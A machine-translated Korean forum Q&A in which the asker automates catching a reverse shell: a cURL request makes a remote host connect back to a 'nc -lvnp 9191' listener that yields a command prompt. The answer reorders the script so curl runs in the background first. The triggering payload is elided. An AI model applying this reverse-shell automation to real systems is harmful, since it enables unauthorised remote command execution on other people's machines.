
이 질문은 infosec과 더 관련이 있지만 다음 프로세스를 자동화하는 데 대한 해결 방법을 찾을 수 없는 것 같습니다.
netcat에 대한 연결을 트리거하는 cURL 명령이 있습니다. 자동화하지 않고 , 을 입력합니다 nc -lvnp 9191
.또 다른터미널 포트 9191에서 내 컴퓨터에 다시 연결을 설정하는 cURL 명령을 입력합니다. 그런 다음 원격 컴퓨터에서 일부 명령을 실행하는 데 사용할 수 있습니다.
내 Bash 스크립트에서 다음과 같은 것을 시도하고 있습니다.
nc -lvnp 9191&
curl ......
Netcat은 리스너를 시작하고 백그라운드로 이동하며 cURL은 연결을 트리거하지만(연결을 다시 수신함) netcat은 즉시 닫힙니다.
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
nc -lvnp 9191&
Bash 스크립트에서 이를 제거 하고 Bash 스크립트에 cURL 명령만 남겨두면 다음과 같은 일이 발생합니다.
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
그러나 'Enter' 키를 누르면 netcat 작업이 즉시 일시 중지됩니다.
[1] + 22609 suspended (tty input) nc -lvnp 9191
netcat 작업을 재개하고 작업을 계속 해야 fg
하는데 어떻게든 이 모든 것에서 나 자신을 구할 수 있을지 궁금했습니다.
답변1
그래서 누군가와 논의한 끝에 마침내 작동하게 만들었습니다. 줄 위치를 변경하여 curl
먼저(백그라운드 작업으로), 그 다음으로 netcat
(백그라운드 없음)를 변경했습니다. 접근 방식은 다음과 같습니다.
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191